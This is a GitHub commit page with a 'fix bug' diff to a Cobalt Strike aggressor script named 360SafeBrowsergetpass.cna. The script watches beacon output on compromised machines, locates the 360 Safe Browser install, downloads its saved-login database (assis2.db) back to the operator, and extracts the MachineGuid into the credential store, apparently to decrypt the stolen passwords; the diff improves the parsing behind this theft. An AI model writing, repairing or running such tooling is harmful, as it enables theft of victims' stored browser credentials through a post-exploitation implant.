Skip to content

Commit 01b5f85

Browse files
committed
fix bug
1 parent 4a2d6fa commit 01b5f85

File tree

1 file changed

+5
-4
lines changed

1 file changed

+5
-4
lines changed

360SafeBrowsergetpass.cna

Lines changed: 5 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -24,22 +24,23 @@ popup beacon_bottom {
2424
}
2525

2626
on beacon_output {
27-
#$res = replace($2, 'received output:\n'.'');
28-
#$res = replace($2, ' \(默认\) REG_SZ '.'');
2927
$magicstring = "360se6\\Application\\360se.exe";
3028
$magicstring2 = "MachineGuid";
3129

3230
if ($magicstring isin $2){
3331
$length = strlen($2);
34-
$res = substr($2, 40, $length - 32);
32+
$last = lindexOf($2, ":");
33+
$res = substr($2, $last - 1, $length - 32);
3534
$dbPath = "User Data\\Default\\apps\\LoginAssis\\assis2.db";
3635
$res = $res . $dbPath;
36+
3737
bdownload($1, $res);
3838
blog($1,"360 SafeBrowser DB Downloading");
3939
}
4040

4141
if ($magicstring2 isin $2){
42-
$MachineGuid = substr($2, 42, -1);
42+
$lasta = lindexOf($2, "\nMachineGuid");
43+
$MachineGuid = substr($2, $lasta + 26, -1);
4344
$beaconHost = beacon_info($1, "host");
4445
credential_add($empty,$MachineGuid, $empty, $empty, $beaconHost);
4546
blog($1,"MachineGuid Get Success");

0 commit comments

Comments
 (0)